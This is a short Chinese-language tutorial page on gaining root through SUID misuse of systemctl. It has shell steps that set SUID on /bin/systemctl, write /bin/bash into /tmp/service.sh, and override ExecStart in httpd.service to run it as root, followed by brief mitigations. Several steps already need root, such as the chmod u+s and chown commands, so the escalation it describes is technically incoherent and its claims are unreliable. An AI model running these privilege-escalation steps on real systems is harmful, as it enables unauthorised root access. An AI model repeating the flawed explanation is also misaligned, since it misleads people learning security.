📜  suid 提权 systemctl - Shell-Bash (1)

📅  最后修改于: 2023-12-03 15:05:24.209000             🧑  作者: Mango

SUID提权systemctl - Shell-Bash

简介

SUID(Set User ID)和SGID(Set Group ID)是UNIX/Linux系统中重要的权限标记。SUID标记可以让普通用户以root权限执行特定的程序,SGID标记则可以让用户以特定的用户组身份执行程序。SUID提权是指通过利用SUID标记的漏洞来提升当前用户的权限。

systemctl是一个Systemd的工具,用于控制系统的服务和守护进程。利用SUID提权漏洞,可以让普通用户以root权限执行systemctl。

SUID提权
  1. 利用SUID标记,可以让普通用户以root权限执行systemctl:
$ chmod u+s /bin/systemctl  # 添加SUID标记
$ systemctl status           # 执行systemctl
  1. 利用systemctl的特殊参数,可以绕过sudo权限限制执行任意命令:
$ systemctl edit --full --system httpd.service   # 编辑httpd.service
  1. 通过修改systemctl的配置文件,可以让普通用户以root权限执行任意命令:
$ echo '/bin/bash' > /tmp/service.sh            # 添加执行脚本
$ chown root:root /tmp/service.sh
$ chmod +x /tmp/service.sh
$ systemctl edit --full --system httpd.service  # 编辑httpd.service

在httpd.service中添加以下内容:

[Service]
ExecStart=
ExecStart=/bin/bash /tmp/service.sh

现在,当普通用户执行systemctl start httpd.service时,/tmp/service.sh将以root权限执行。

防范措施
  1. 避免利用SUID提权漏洞,建议尽量避免设置SUID标记。

  2. 避免systemctl被误用,建议仅允许特定的用户或组执行systemctl,并限制其能够执行的操作。

  3. 定期更新系统和软件,及时修补已知漏洞。

结语

SUID提权是一种危险的攻击手段,可以让普通用户以root权限执行命令。为了保护系统的安全,建议管理员加强对systemctl的管理,避免系统被黑客利用。